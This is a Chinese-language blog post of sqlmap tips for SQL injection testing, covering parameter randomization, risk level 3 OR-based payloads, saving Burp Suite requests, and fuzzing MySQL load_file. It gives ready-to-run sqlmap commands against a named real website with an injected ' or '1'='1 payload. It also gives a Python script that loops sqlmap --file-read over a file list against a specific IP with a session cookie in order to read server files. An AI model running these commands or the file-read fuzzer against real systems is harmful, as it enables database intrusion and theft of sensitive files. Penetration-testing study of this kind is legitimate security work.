Contents
  1. 1. update
  2. 2. –randomize
  3. 3. risk 3
  4. 4. burpsuite save to file
  5. 5. load_file fuzz

update

2016-05-18:更新randomize
2016-05-25:更新burpsuite save to file
2016-05-26:更新load_file fuzz

–randomize

--randomize=RPARAM  Randomly change value for given parameter(s)

sqlmap真的是可以适用非常多的场景。有些时候,比如注册的时候用户只能使用一次,下次使用会有先检查用户名的逻辑,这样就会导致无法进入后续的逻辑从而无法检测SQL注入。使用randomize指定这个参数随机就可以了。

risk 3

测试一个注入点,手工测试验证应该存在注入但是用sqlmap没跑出来。测试发现需要指定risk 3,sqlmap才会使用or语句进行测试,才可以识别出这个注入点。

or boolean 需要risk 3 level 3

python sqlmap.py -u "http://comment.10jqka.com.cn/api/stock/index.php?module=concept&code=8820309115951&name=" --random-agent -v 1 -p code --level 5 --dbs --dbms=mysql --risk 3

这是乌云上一个公开的漏洞。之所以用and无法识别出来是因为code的参数本身是无效的,数据查询的结果为空,所以再拼接and语句,查询条件还是false。

可以直接在code参数后面拼接一个or语句。然后再拼接and语句就可以正常注入了。

所以这里可以直接使用risk 3参数或者在code参数后面拼or语句。

python sqlmap.py -u "http://comment.10jqka.com.cn/api/stock/index.php?module=concept&code=8820309115951' or '1'='1&name=" --random-agent -v 1 -p code --level 1 --dbs --dbms=mysql --risk 1

burpsuite save to file

测试一个multipart/form-data里参数的注入,返现复制请求文本到文件中,在使用sqlmap r参数指定请求更自己在burpsuite测试的结果不一样,通过对比发现,复制的请求中忽略了原始请求中每个参数后面的%0d符号。导致服务端无法进行了不一样的处理。直接使用burpsuite中右键save to file保存请求,再使用sqlmap r参数就可以。

load_file fuzz

在linux系统上即使mysql有文件权限,由于目录权限的问题,一般也没法写shell。只能通过读文件来获取敏感信息。
SQLNuke就是一个fuzz load_file的工具。详细的使用说明可以参考:SQLNuke——mysql 注入load_file Fuzz工具.
不过sqlnuke看说明只支持回显的union的的方式。写一个下脚本用sqlmap来fuzz load_file也是一个不错的方式。

#!/usr/bin/env python
# encoding: utf-8
import subprocess
filepaths = open('filelist.txt')
for filepath in filepaths:
    cmdline = "python /Users/xxxxxx/security/web/sqlmap/sqlmap.py -u 'http://1.1.25.41/cms/privilege/publist?level=3&title=jj' --cookie='_pss=PcqD%2BvOIi05CQLYgBqHVE%2Bm9oeAswCYOYYyZZTA0b4wk8KUMrHTuBJmyyZdqch%2Fpwd%2F7QcVCaehUtF0QHhpgkJliaAruL0dxGR%2B8mwM0%2FGc%3D' --batch --file-read=" +filepath
    fuzzsqlmap_proc = subprocess.Popen(cmdline,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    print filepath
    process_output = fuzzsqlmap_proc.stdout.readlines()
    print process_output

使用python,几行代码就可以搞定。然后到sqlmap输出目录里根据文件大小查看下载下来的文件就可以了。感觉,根据目标系统的环境,搭建一个一样的系统,然后列出所有的文件作为字典来进行fuzz应该是一个不错的思路。
尝试load_file(目录),返回为null,如果可以load_file目录的话~~

Contents
  1. 1. update
  2. 2. –randomize
  3. 3. risk 3
  4. 4. burpsuite save to file
  5. 5. load_file fuzz